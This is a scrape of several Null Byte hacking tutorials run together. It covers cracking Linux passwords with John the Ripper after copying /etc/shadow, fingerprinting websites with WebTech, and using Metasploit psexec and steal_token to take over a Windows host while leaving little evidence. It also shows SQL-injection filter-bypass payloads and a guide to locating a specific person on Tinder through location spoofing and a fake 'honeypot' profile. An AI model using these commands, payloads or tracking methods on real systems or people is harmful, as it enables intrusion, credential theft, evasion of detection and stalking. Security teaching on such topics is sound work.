terminal as we're finished with it.Step 3: Test John the RipperAt the prompt, type:bt > john -testThis command will send John the Ripper through a variety of benchmark tests to estimate how long it will take to break the passwords on your system. Your terminal will look something like this.Now that John has estimated how long each of the encryption schemes will take to crack, let's put him to work on cracking our passwords.Step 4: Copy the Password Files to Our Current DirectoryLinux stores its passwords in/etc/shadow, so what we want to do is copy this file to our current directory along with the/etc/passwdfile, then "unshadow" them and store them in file we'll callpasswords. So, let's type both:bt > cp /etc/shadow ./bt > cp /etc/passwd ./In Linux, thecpcommand means copy and the./represents our current directory. So this command says, copy the contents of /etc/shadow to my current directory. We do the same for the /etc/passwd file.Step 5: UnshadowNext we need to combine the information in the /etc/shadow and the /etc/passwd files, so that John can do its magic.bt > ./unshadow passwd shadow > passwordsStep 6: Crack!Now that we have unshadowed the critical files, we can simply let John run on our password file.bt > john passwordsJohn the Ripper will proceed to attempt to crack your passwords. As you can see, it cracked all three of ours in a matter of seconds! Of course, more complex passwords will take significantly more time, but all we need is just one user with a simple password and we have access to the account in seconds.It's also important to note that any password cracker is only as good as its word list. For more complex or hybrid passwords, you probably want to use a password list containing far more passwords, including hybrid passwords such "p@$$w0rd" that combine special characters into words.We'll be doing more password cracking among numerous other hacks, so keep coming back! And if you have any questions, feel free to comment below or head to theNull Byte forumfor help.Cut lock photoby Fristle,Lock cutters photoby MortenMyksvollWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How to Grab & Crack Encrypted Windows PasswordsHack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)How To:Recover Passwords for Windows PCs Using OphcrackHow To:Crack Shadow Hashes After Getting Root on a Linux SystemHack Like a Pro:How to Hack Facebook (Facebook Password Extractor)How to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)Hack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHack Like a Pro:How to Crack Passwords, Part 2 (Cracking Strategy)Hack Like a Pro:Finding Potential SUID/SGID Vulnerabilities on Linux & Unix SystemsHow to Hack Like a Pro:Getting Started with MetasploitHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHack Like a Pro:Metasploit for the Aspiring Hacker, Part 6 (Gaining Access to Tokens)How to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHack Like a Pro:How to Crack Passwords, Part 3 (Using Hashcat)How To:Hack a Windows 7/8/10 Admin Account Password with Windows MagnifierHack Like a Pro:How to Hack Remote Desktop Protocol (RDP) to Snatch the Sysadmin PasswordHack Like a Pro:How to Crack Passwords, Part 4 (Creating a Custom Wordlist with Crunch)How To:Hack WPA WiFi Passwords by Cracking the WPS PINHack Like a Pro:How to Crack Online Passwords with Tamper Data & THC HydraHow To:Hack Mac OS X Lion PasswordsHow To:How Hackers Take Your Encrypted Passwords & Crack ThemRainbow Tables:How to Create & Use Them to Crack PasswordsHow To:Recover WinRAR and Zip PasswordsHow To:Remove a Windows Password with a Linux Live CDHow To:Bypass Windows and Linux PasswordsHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:GPU Accelerate Cracking Passwords with HashcatHow To:Make an Unbreakable Linux Password Using a SHA-2 Hash AlgorithmSecure Your Computer, Part 2:Password-Protect the GRUB Bootloader on Dual-Booted PCsNews:Advanced Cracking Techniques, Part 1: Custom DictionariesSecure Your Computer, Part 1:Password-Protect your BIOS Boot ScreenHow To:Fix the Channel -1 Glitch in Airodump on the Latest KernelNews:Get the Perfect Cup of Java with a DIY Linux-Powered Coffee RoasterHow To:Run Windows from Inside LinuxHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Recover a Windows Password with Ophcrack |
How to Use WebTech to Discover What Technologies a Website Uses « Null Byte :: WonderHowTo | Correctly identifying the underlying technologies that run on a website gives pentesters a considerable advantage when preparing an attack. Whether you're testing out the defenses of a large corporation or playing the latest CTF, figuring out what technologies a site uses is a crucial pen-tester skill.Knowing the technology and codebase used to build a site can speed things up by eliminating potential attack vectors or exploits that we know won't work. But it can also reduce the chances of your penetration being detected by raising fewer alarms.Today we will be exploring a tool called WebTech to bring these technologies to light.Why WebTech?WebTechis an open-sourcePythontool used to identify web technologies. You can utilize it in a variety of ways, including as acommand linetool, as aBurp Suiteextension, and as a Python library forscripting.There are other tools available to accomplish this goal, such asWappalyzer, a commonly used browser extension, or other online alternatives likeW3Techsor this one fromPentest-Tools. But WebTech stands out in a way that is extremely modular and easy to use, especially when it comes toPythonscripting.Thereconnaissance phaseis essential in the ethical hacking or penetration testing process. The old saying "measure twice, cut once" holds here.Don't Miss:Hack Like A Pro — Python Scripting for the Aspiring Hacker, Part 1Install & Basic UsageIn order to use WebTech, we must first install it. While you can use WebTech on any operating system that supports Python, I'll be showing you here how it works inKali Linux(or any other Debian-based distro).First, make sure you have Python installed on your device — we can check with thewhichcommand:~# which python
/usr/bin/pythonIf you don't see any output from this, install it with thepackage manager:~# apt-get install pythonThen, installpip, a package management system for Python, with the following command:~# apt-get install python-pipNow we can finally install WebTech:~# pip install webtech
Collecting webtech
Downloading https://files.pythonhosted.org/packages/a7/66/3bd231369ca661e76fa863546c2d7d8c73fd214fc018dcee37ff32a368d8/webtech-1.2.7.tar.gz (103kB)
100% |████████████████████████████████| 112kB 1.5MB/s
Requirement already satisfied: requests in /usr/lib/python2.7/dist-packages (from webtech) (2.21.0)
Building wheels for collected packages: webtech
Running setup.py bdist_wheel for webtech ... done
Stored in directory: /root/.cache/pip/wheels/36/0d/d6/67a0bbbfd449ecb578cac82c098668ef032dbd513640257c94
Successfully built webtech
Installing collected packages: webtech
Successfully installed webtech-1.2.7Simply typewebtechin the terminal to display its usage and options:~# webtech
No URL(s) given!
Usage: webtech [options]
Options:
--version show program's version number and exit
-h, --help show this help message and exit
-u URLS, --urls=URLS url(s) to scan
--urls-file=URLS_FILE, --ul=URLS_FILE
url(s) list file to scan
--user-agent=USER_AGENT, --ua=USER_AGENT
use this user agent
--random-user-agent, --rua
use a random user agent
--database-file=DATABASE_FILE, --db=DATABASE_FILE
custom database file
--json, --oj output json-encoded report
--grep, --og output grepable report
--update-db, --udb force update of remote db files
--timeout=TIMEOUT maximum timeout for scrape requestsThe most basic usage of the tool is with the-uflag to specify aURLto scan:~# webtech -u https://null-byte.wonderhowto.com/
Target URL: https://null-byte.wonderhowto.com/
Detected technologies:
- jQuery 1.7
- Google Font API
- comScore
Detected the following interesting custom headers:
- Server: WonderHowTo
- X-UA-Compatible: IE=Edge,chrome=1
- X-Server-Name: APP02Here we can see the technologies it detected that are used by the site, as well as a few interesting headers. This information can be useful when preparing an attack, since cutting down unneeded extra variables can drastically decrease the time needed to be successful.This tool also lets us specify a customuser agent, which can sometimes be utilized to probe the site for different responses depending on how it's set up. User agents are a means of identifying the browser and OS to the web server, sent as a string of text in HTTP headers.Here is a databaseof virtually any user agent you can think of to help with your probing.Find the user agent you want to test and add it into this string after your URL--ua='[USERAGENTCODE]'instead of USERAGENTCODE. Here's what that looks like:~# webtech -u https://null-byte.wonderhowto.com/ --ua='Mozilla/5.0 (Linux; Android 6.0.1; SM-G920V Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36'
Target URL: https://null-byte.wonderhowto.com/
Detected technologies:
- jQuery 1.7
- Google Font API
- comScore
Detected the following interesting custom headers:
- Server: WonderHowTo
- X-UA-Compatible: IE=Edge,chrome=1
- X-Server-Name: APP02Here we set the user agent to mimic aSamsung Galaxy S6, although we did not get any different results. Sometimes, for example, if there is a bug in a specific browser, the server will send a different response depending on the user agent.We could also set a random user agent if we wanted to, using the--random-user-agentflag, which will randomly select a user agent to use.WebTech's command line usage is definitely helpful when identifying the underlying technologies of a website, but where it really shines is its ability to be used in scripts.Scripting with WebTechYou can use WebTech in any Python script by merely importing the library. This flexibility is the most useful feature of the tool, in my opinion, since you can integrate it into any other script where determining what a website is built on is important.For example, WebTech could be used as part of a largerfingerprintingscript alongsideport scans and service enumeration. It would also be useful inexploit scripts, where the details of the exploit change slightly depending on the platform.Let's write a quick demo script to show it in action. Create your Python file with yourtext editorof choice — in this case, I'll usenanosince it is easy:~# nano scan.pyThe first line should tell the script how to run by pointing to our Python binary:#!/usr/bin/pythonNext, we need an import statement to import the WebTech library:import webtechThen we can start a new instance with thewtvariable:wt = webtech.WebTech()And start a scan of the desired URL (I had to also set a short timeout or it wouldn't work) and save that to theresultsvariable:results = wt.start_from_url('https://null-byte.wonderhowto.com/', timeout=1)Finally, we can print the results of the scan to the screen:print resultsThe final script should look like this:#!/usr/bin/python
import webtech
wt = webtech.WebTech()
results = wt.start_from_url('https://null-byte.wonderhowto.com/', timeout=1)
print resultsWe can now run our script with thepythoncommand we set up above:~# python scan.py
Target URL: https://null-byte.wonderhowto.com/
Detected technologies:
- jQuery 1.7
- Google Font API
- comScore
Detected the following interesting custom headers:
- Server: WonderHowTo
- X-UA-Compatible: IE=Edge,chrome=1
- X-Server-Name: APP03Here we can see that we've obtained the same results as before. Keep in mind, this was just a simple proof-of-concept — we could make this a lot more robust if we wanted.What this does is prove how potentially useful WebTech could be when integrating it into other scripts or tools.Wrapping UpIn this article, we learned about WebTech — a Python tool used to identify website technologies.We saw how to install it with pip and run it from the command line with ease. We also explored its true power, the ability to be used as a Python library, by writing our little script. WebTech makes it easy to get to know your target during the recon phase, giving you the advantage when planning an attack.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byNegative Space/Pexels; Screenshots by drd_/Null ByteRelatedNews:Microsoft Project "Oxford"Hack Like a Pro:How to Hack Web Apps, Part 7 (Finding Hidden Objects with DIRB)How To:Use Maltego to Fingerprint an Entire Network Using Only a Domain NameMarket Reality:Business Interest High, Adoption Low for Augmented RealityHow To:Learn More in Class by Leaving Your Laptop at HomeDev Report:IBM & Unity Partner to Offer AI Tool That Could Make Augmented Reality Apps SmarterNews:Google Home's New 'Listen' Tab Makes It Easy to Discover Music You'll LoveNews:New Messenger Discover Feature Is a Blast from the Past — with a TwistApple AR:iPhone X Face-Masking App Gives New Meaning to 'Incognito Mode'Hack Like a Pro:How to Find Website Vulnerabilities Using WiktoHow To:Teach your kids how to use their first digital cameraNews:Augmented Reality App Created by NYU Students Can Translate Sign Language in Real TimeHack Like a Pro:How to Hack Web Apps, Part 5 (Finding Vulnerable WordPress Websites)Android for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHow To:Conduct OSINT Recon on a Target Domain with Raccoon ScannerNews:L'Oreal Acquires Leading Augmented Reality Makeup Provider ModiFaceForbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsThe Tabletop Demonstrator:A PVC Filmmaking ContraptionNews:What Is Technology?News:Awesome LEGO JewelryA Kit-of-No-Parts:"Crafting" Electronics at MITNews:Discover The Secrests To Custom Paint and AirbrushingNews:More Unreleased goodies discoveredNews:Are u depressed?News:Yes, more 3D.News:Magisto App for iPhone Released at CESNews:Two Earth-Sized Planets Discovered by NASANews:Bugzilla Cross Site Request ForgeryKinotopic:How to Make Cinemagraphs Using Your iPhoneNews:The Top 32 Authors to Follow on Google+News:The MERCURY Line - Palmistry - JIM WINTERFROM THE HUBBLE:Sun Devours PlanetNews:It's our organic world! We are all living in it!News:Panasonic's New Millimeter-Wave Radar Technology Could Save Lives at IntersectionsNews:Figure Sculpting Demo- Zeus' iPhone (Calling Down The Thunder)How To:Clay sculpting tutorial - Plato's iPadNews:Technology of 3DNews:Congresswoman Roybal-Allard serving California's 34th Congressional DistrictNews:Save Me!News:SOPA and PIPA Blackout! |
How to Track Down a Tinder Profile with Location Spoofing on Google Chrome « Null Byte :: WonderHowTo | Dating websites allow you to see a person in a very intimate context, framing their successes and accomplishments in life to an important audience. The information contained in these profiles often can't be found elsewhere, offering a unique look into the personal life of the user.If you know where a person hangs out, you can use a GPS-spoofing extension in the Chrome browser to locate their Tinder profile from Windows or macOS.From the point of view of an open-source intelligence (OSINT) researcher or hacker conducting recon, dating websites are a unique collection of searchable databases. Researching a target via dating websites can reveal a few kinds of information that are useful for a hacker.Don't Miss:Use a Virtual Burner Phone to Protect Your Identity & SecurityPeople often use the same screen names, and you can often track a person across the internet just from finding a frequently used alias. Since many users also link theirInstagramprofile, intercepting a screen name can be the key to someone's entire online existence if they tend to reuse the same one.Google Image Search Is PowerfulAnother factor that you can use to dig deeper into a person's life is the profile pictures on Tinder. The dating app allows several photos to be posted, thus gives many opportunities to reverse image search each profile photo to locate other accounts, even if they have different screen names. This can lead to a break like another alias or other more official accounts.Image by Kody/Null ByteFinally, people don't tend to be very creative when it comes to their personal descriptions. Often, they will simply copy and paste them, which can make it easy to use the same mistakes or grammar in the text to locate them on other websites. Most people have mistakes they constantly make while typing, and these can tie them to other accounts when they reuse portions of text with unique misspellings and mistakes with a regular Google search.Dating Profiles Are a Lot More Public Than You ThinkWhile Tinder has long been available asa mobile app, most users aren't aware the site now allows access from a desktop computer in a web browser. We can use this access to quickly spoof our location in Google Chrome, allowing us to appear near where we expect a user to be and begin filtering through profiles. Since we can do this easily from anywhere, the only information we need to start this kind of attack is an idea of what the target looks like and a general idea of where they live, work, or hang out.Don't Miss:How to Keep Your Internet Traffic Private from AnyoneWhile many dating services can be rather creepily abused on the API level, Tinder allows us to do some basic investigations in a web browser that even a beginner can get started with. To get started, you'll need to have downloaded and installed the Google Chrome browser, as well as an extension calledManual Geolocation.Step 1: Install the Location Spoofing ExtensionThe first step will be enabling our computer to "lie" about its location to Tinder. This is important, as it gives us the ability to search a specific area for a person or persons. If our goal is simply to identify employees of a company, placing ourselves directly on their company headquarters to discover employees on Tinder might be the way we start.To do this, we'll need to download the Manual Geolocation extension from theChrome Web Store. Add the extension and accept any permissions it needs, and you'll see an icon appear in the top right of your add-ons bar.Step 2: Spoof Your Location to That of the TargetTapping the icon for Manual Geolocation will open a map that allows us to select the location our browser will report to any website it visits, in this case, Tinder. Select the location your target is in by double-clicking the location on the map.You can grab the map with the mouse and move it to refine your location. Lastly, click the on/off switch at the top right of the Manual Geolocation window to switch the extension on.Step 3: Register a Tinder Account from Our Spoofed LocationNow our browser will give this information as its location when we visit any website, and Tinder will think we are in the location we've specified. We can also adjust the accuracy here if you're less sure of the area.When this is done, navigate to Tinder and wait until the page below loads.Click on "Log in with phone number" to create our account. You can use a Google Voice number here, as services like Burner won't work.Don't Miss:How to Use Google Voice as a 'Burner' NumberOnce you enter your Google Voice number, it will send you a text with a code to confirm you own the number. When you receive it, enter it in this field.Step 4: Create a Profile with Your Target in MindYou'll need to consider your target and enter information that will pass without a second glance if you only want to passively surveil the target. If you want the target to interact with you, then it's best to create a profile that will wildly excite them.Below, you'll see my secret template for the ultimate honeypot profile. In general, men like a woman who is classy, but approachable, experienced, and perhaps a little sad. Make sure to use a free-domain image to do this, as we've picked an image from Flickr that's free to use (photo byQuinn DombrowskiviaCC BY-SA 2.0).Once you've created a profile, click "Continue" to fire up your new identity. Edith hits the streets like a hustler, sweeping up the profiles of nearby lonely hearts and thrillseekers.Step 5: Get Specific with Discovery SettingsOur Edith profile will just grab anyone nearby, so we'll need to let Tinder in on what our profile is interested in seeing. Click on "My Profile" on the top left corner to open our filter settings.Once we're in our discovery settings, you need to let Tinder know that Edith is here to meet people exactly like your target, so input the age of the person you're looking for here. You'll need to specify a range, so try to put the actual age of the target in the middle.Set the maximum distance to 1 unless you're monitoring a very large area, as you'll sweep up a lot of random profiles otherwise. Click on the back button in the top left to send Edith on patrol.Step 6: Start Sweeping the LocationWe'll start to see the profiles of anyone in the area that meets our filter settings. Each profile will allow you to expand it to see more information, which can be very useful for correlating a person to another site. If we're a hacker monitoring a company for employees in Tinder, this gives us the opportunity to find a variety of different vectors to attack.If we're searching for a specific person, we'll need to exhaust the options the current filter set gives us until we're sure our target isn't there. We can do this by swiping left or right, it doesn't really matter. The point is to keep looking until we find our target. If we don't, we can also try looking in another location or wait for a while to see if the target logs on.Step 7: Corrolate Target Data from a ProfileWhen we find our target, you can click on their profile to pull up more information. This is where you will find additional photos to reverse image search and link to other profiles. As you can see below, the stock photo we used turned up a lot of results. Finding other places an image exists can also frequently locate screen names and other correlating information that will lead you to other breadcrumbs of online data.If you made your account interesting enough to the target, your subject may even contact you. This allows you to ask questions or take a more active role in finding information, but that would also make you a catfish. Edith is just here to look, not touch, so once you cross that line, you're no longer conducting passive surveillance.If, however, you're concerned about a profile being legitimate or not, or if it's simply a torso picture that could be your target, a direct line of contact to test if they are who they say they are might be your best shot to confirm the information you've found. Since this is a more active technique, it falls outside the scope of this guide.Step 8: Change Location & Sweep a New AreaIf your target has moved location or updates social media by tagging themselves somewhere known, you can adjust your location on Tinder by clicking the Manual Geolocation extension icon in the browser toolbar again and selecting the new location the way you did before.Rather than just refreshing, we'll need to close the tab and open a new one. Then, navigate to Tinder again, and your location should be updated with the new location Chrome has supplied it. We can repeat this process to send Edith on a search of each one-mile radius area we suspect the target may be lingering in, pulling in anyone who matches the age of our target.Think About Prying Eyes When Writing Your ProfileAnyone can create a Tinder profile, but most people forget that they can be found by anyone interested in them specifically (or somewhere they work). While we covered simply finding a profile in a way that should leave the target no indication they've been found, many hackers see dating profiles as a legitimate point of entry for phishing and social engineering attacks. If someone can find you, they can contact you too.When writing a profile, ask yourself a few things. Where else do I use this photo? Google image search is a powerful tool. Where else do I use this profile text? And finally, do I mention a screen name that I use in many other places?If you work somewhere important and mention it, this can also create additional risk. Both hackers and penetration testers love finding a profile stuffed full of information, so don't make yourself an easy target for a malicious stranger.Dating Websites Were Never Off-LimitsIt's no secret that dating websites have been used by police, spies, criminals, researchers, and various others for things other than originally intended since their inception. This is undesirable behavior on a site like Tinder, but when done in the context of a researcher, a light touch can go a long way in revealing information about a target.Building a profile to a human target is multi-faceted. The best way to thinking about it is finding far-flung but connected puzzle pieces of data to fill in an overall picture of what that person's actual and perceived life is like.Some people may feel very differently about their position in life than the data about them suggests, either because they perceive their own situation radically different than it is or because we have incomplete data to understand important details about their outlook. Many times, data found within dating profiles can provide that missing context to understand how a person thinks.Don't Miss:How to Research a Person or Organization Using the Operative FrameworkIf you're interested in learning more about these kinds of research techniques, check out open-source research (OSINT) resources like "Open Source Intelligence Techniques: Resources for Searching and Analyzing Online Information."The OSINT community is awesome and has inspired me to keep doing these tutorials. The best way to be involved is to be part of the conversation on ourTwitter,YouTube, and in the comments below. If you have any questions about this tutorial, feel free to leave a comment or reach me on Twitter@KodyKinzie. We'll be doing more guides on OSINT research techniques, so stay tuned.Follow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Reorder Profiles & Reset Matches in TinderNews:Tinder's New Update Puts the Emphasis on LooksHow To:Fake Your Location if Your Parents Installed a GPS Tracker on Your Android PhoneHow To:Set Privacy-Focused DuckDuckGo as Chrome's Default Search Engine on Your PhoneHow To:Top 10 Browser Extensions for Hackers & OSINT ResearchersNews:Tinder Gold Allows Users to See Everyone Who 'Likes' Their ProfileHow To:Get Real-Time Info on Friends Around You (Including Exact Location) Using Your iPhoneHow To:Get Back Avatars in Chrome to Switch User Profiles More EasilyHow To:Change Downloading Location from Google ChromeHow To:Fake Your GPS Location on Android to Trick Apps & Targeted AdsHow To:Your Chrome Extensions May Be Stealing Your Personal Info: Here's How to Stop ThemHow To:Stop Retail Stores from Tracking You While Shopping with Your Galaxy Note 3How To:Get the Chrome Experience on Android Without Google Tracking YouChrome 101:How to Set Your Privacy & Choose Which Data to Share with GoogleHow To:Change Google Chrome's Default Search Engine on Your iPhone or Android PhoneHot or Not:The Original Ego Scaler Is Now on Android, iOS, & WindowsHow To:Chrome Shares Your Activity with Google - Here's How to Use Comodo Dragon to Block ItHow To:Search for Google+ Profiles and Posts Using Chrome's Search Engine SettingsHow To:The Official Google+ Insider's Guide IndexNews:Google Chrome Web Store Gets New LookHow To:Search for Google+ Posts & Profiles with GoogleNews:Shooting an X-Men Spoof with the New Canon DSLR Technicolor CineStyleGoogle+ Pro Tips Round Up:Week 4News:Add your Facebook stream to Google+How To:Prevent Social Networks from Tracking Your Internet ActivitiesNews:Fix Your Google+ Frustrations with 18 More Chrome ExtensionsNews:Getting to Know Google's Community ManagersNews:Google+ Pro Tips Weekly Round Up: Google+ Is GoogleHow To:Hide the Facebook News Ticker in Firefox and Google ChromeHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceNews:Google+ Pro Tips Weekly Round Up: Google Adds Google+ ExtensionsThe Anonymous Search Engine:How to Browse the Internet Without Being TrackedHow To:Reduce the Noise in Your Social StreamsGoogle+ Pro Tips Round-Up:Week 1News:10 Chrome Extensions to Jumpstart Your Google+ WishlistNews:X-Men - Shot with Technicolor CinestyleHow To:Use Google's New Privacy Tools to Stop Them from Tracking YouGoogle+ Pro Tips Round Up:Week 6News:22 Google Chrome Extensions to Make Google+ Even BetterHow To:Stop "Liking" and Start Google +1ing |
Hack Like a Pro: How to Use Metasploit's Psexec to Hack Without Leaving Evidence « Null Byte :: WonderHowTo | Welcome back, my fledgling hackers!It's been awhile since we did a Metasploit tutorial, and several of you have pleaded with me for more. I couldn't be happier to oblige, as it's my favorite tool. For the next several weeks, I'll intersperse some new guides that'll help expand your Metasploit skills and keep you abreast of new developments in Metasploit, so look for them in the near future.Leaving No Evidence Behind with MetasploitOne of the keys issues when exploiting a system is to remain undetected. If the system admin or security engineer detects that they've been exploited, they will likely shut off your path to the exploit, or worse—start tracking you down!Nearly every exploit leaves some forensic trail for the sysadmin or law enforcement, but the key is to leave as little as possible and then clean up as you leave. Metasploit has module calledpsexecthat enables you to hack the system and leave very little evidence behind, given that you already have sysadmin credentials, of course.We've already spent some time learning how to get credentials usingpwdump,Cain and Abel,John the Ripper,MitM, and thehashdump scriptin meterpreter. If you were to log in with these newly found credentials, your login and other actions will be tracked in the log files.In this tutorial, we'll assume that you already have the sysadmin credentials and want to own the system, while leaving as little evidence as possible that you were ever there.Step 1: Fire Up MetasploitLet's start by firing up Metasploit. You can do this by going through the menu system or simply typingmsfconsolefrom a terminal. Once we have Metasploit open, we can start with psexec by typing:use exploit/windows/smb/psexecStep 2: Set the OptionsFor our options, we need to tell Metasploit what payload to use first.set PAYLOAD windows/meterpreter/bind_tcpThen set our remote host (RHOST).set RHOST 192.168.2.129Next, we need to set our SMB user and password. As you know, SMB stands for Server Message Block. It's a application layer protocol that runs on port 445 that enables computers on a network to share resources such as files, printers, etc. SMB is one of the most common attack vectors in security intrusions.Enter in the SMBuser now.set SMBUser administratorThen the SMBpassword.set SMBPassword passwordOf course, you need to use the administrator's username and password that you captured earlier.Step 3: ExploitOnce we've entered all the information correctly for each of the options, we then simply type:exploitNote in the screenshot above that we have a meterpreter command prompt. Success!Step 4: Steal the TokenOnce we have a meterpreter command prompt on a system, we basically own the box. What we're able to do is almost unlimited. Here, I want to show you how to steal the tokens used for service and resource authentication.Windows, and for that matter, most other operating systems, use tokens or "tickets" to determine who can use what resources. We log in once and when we do, the system checks to see what resources we're authorized to access and then issues a token or ticket that enables us to access that resource without our having to re-authenticate.If we can grab the token or ticket for a particular service or resource, then we can use it with the same privileges as the user who was issued the token. We don't have to know the token, simply grab it, present it to the service, and we're in!In this case, we want to get into the SQL Server service. Let's first see if SQL Server is running on this system. Meterpreter uses the Linux commandpsto list services.psAs you can see here (highlighted in this screenshot) SQL Server is running and it has been assigned Process ID or PID of 1432.Step 5: Steal the TokenNow that we know that the service is running and its PID, we can attempt to steal its token. Meterpreter has a command calledsteal_tokenthat, surprisingly enough, attempts to steal the token from a service. Who would have thought!It's syntax is simple and straightforward, simply the command followed by the service's PID.steal_token 1432As you can see, the meterpreter has come back and indicated that our attempt to steal the SQL Server service was successful! Now, we should have nearly unlimited access to the SQL Server service and its databases!It should be repeated that psexec is only useful if you ALREADY have the sysadmin credentials. When you do, psexec enables you to own the the system, while leaving almost no evidence that you were ever there.That's it for now, but stay tuned, as I'll be offering more Metasploit tutorials in the near future.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseThieving handimage via ShutterstockRelatedHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Mac for Hackers:How to Install the Metasploit FrameworkHack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Hack Like a Pro:How to Cover Your Tracks & Leave No Trace Behind on the Target SystemHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)News:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 3 (Payloads)Hack Like a Pro:The Ultimate Command Cheat Sheet for Metasploit's MeterpreterHow To:Perform a Pass-the-Hash Attack & Get System Access on WindowsHack Like a Pro:How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack)Hack Like a Pro:How to Cover Your Tracks So You Aren't DetectedHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHack Like a Pro:Exploring the Inner Architecture of MetasploitHack Like a Pro:Exploit MS Word to Embed a Listener on Your Roommate's ComputerHack Like a Pro:How to Hack Facebook (Same-Origin Policy)Hack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHack Like a Pro:How to Crash Your Roommate's Windows 7 PC with a LinkHack Like a Pro:Hacking Samba on Ubuntu and Installing the Meterpreter |
SQL Injection 101: How to Avoid Detection & Bypass Defenses « Null Byte :: WonderHowTo | It is often said that the best hackers remain unknown, and the greatest attacks are left undiscovered, but it's hard for an up-and-coming penetration tester or white hat to learn anything unless one of those factors is actually known or discovered. But the end goal here in our SQL injection lessons is to make that statement as true as possible for us when performing our hacks.Frequently, when testing forSQL injection, an attacker relies on improperly sanitized user input in order to be successful. But what about when everything seems to be filtered correctly? There are various ways to bypass these defenses using techniques that abuse specific features of SQL.Previously:Advanced SQL Injection Techniques for Maximum ExploitationMethod 1: White SpaceThe first method we can use to try to evade signature detection utilizes white space. Adding extra spaces or special characters like tabs or new lines won't affect the SQL statement, but could potentially getmalicious payloadsthrough filters. For example:SELECT * FROM Users WHERE id =1This statement will execute exactly the same as:SELECT * FROM Users WHERE id=1A tab character or new line will also not affect the statement:SELECT * FROM
Users WHERE
id=1Method 2: Null BytesOften, the filter will block certain characters from being executed in the SQL statement. This is probably the most common way attacks are thwarted since, without special characters like apostrophes or dashes, injection is unlikely to be successful.One way to get around this is by usingnull bytes(%00) in front of any blocked characters. For instance, if we know that the application is blocking apostrophes, the following injection could be used to trick the filter into allowing them:%00' or 1=1--Method 3: URL EncodingAnother way to avoid detection is by using URL encoding. This type of encoding is used to sendweb address informationover the internet via HTTP. Since URLs can only contain ASCII values, any invalid characters need to be encoded to valid ASCII characters. URLs also cannot include spaces, so they are usually converted to a + sign or %20. By masking a malicious SQL query using URL encoding, it is possible to bypass filters. Take the following injection for example:' or 1=1--Using URL encoding it would look like:%27%20or%201%3D1--Method 4: Hex EncodingHex encoding replaces characters in the original SQL statement with the equivalent hexadecimal value. The hexadecimal numeral system, also referred to as base 16, uses sixteen symbols to represent values 0–15. The numbers 0–9 represent just that, while A–F represents 10–15.A compact hex table can easily be accessed by typingman asciiinthe terminaland scrolling down a bit:Tables
For convenience, below is a more compact table in hex.
2 3 4 5 6 7
-------------
0: 0 @ P ` p
1: ! 1 A Q a q
2: " 2 B R b r
3: # 3 C S c s
4: $ 4 D T d t
5: % 5 E U e u
6: & 6 F V f v
7: ' 7 G W g w
8: ( 8 H X h x
9: ) 9 I Y i y
A: * : J Z j z
B: + ; K [ k {
C: , < L \ l |
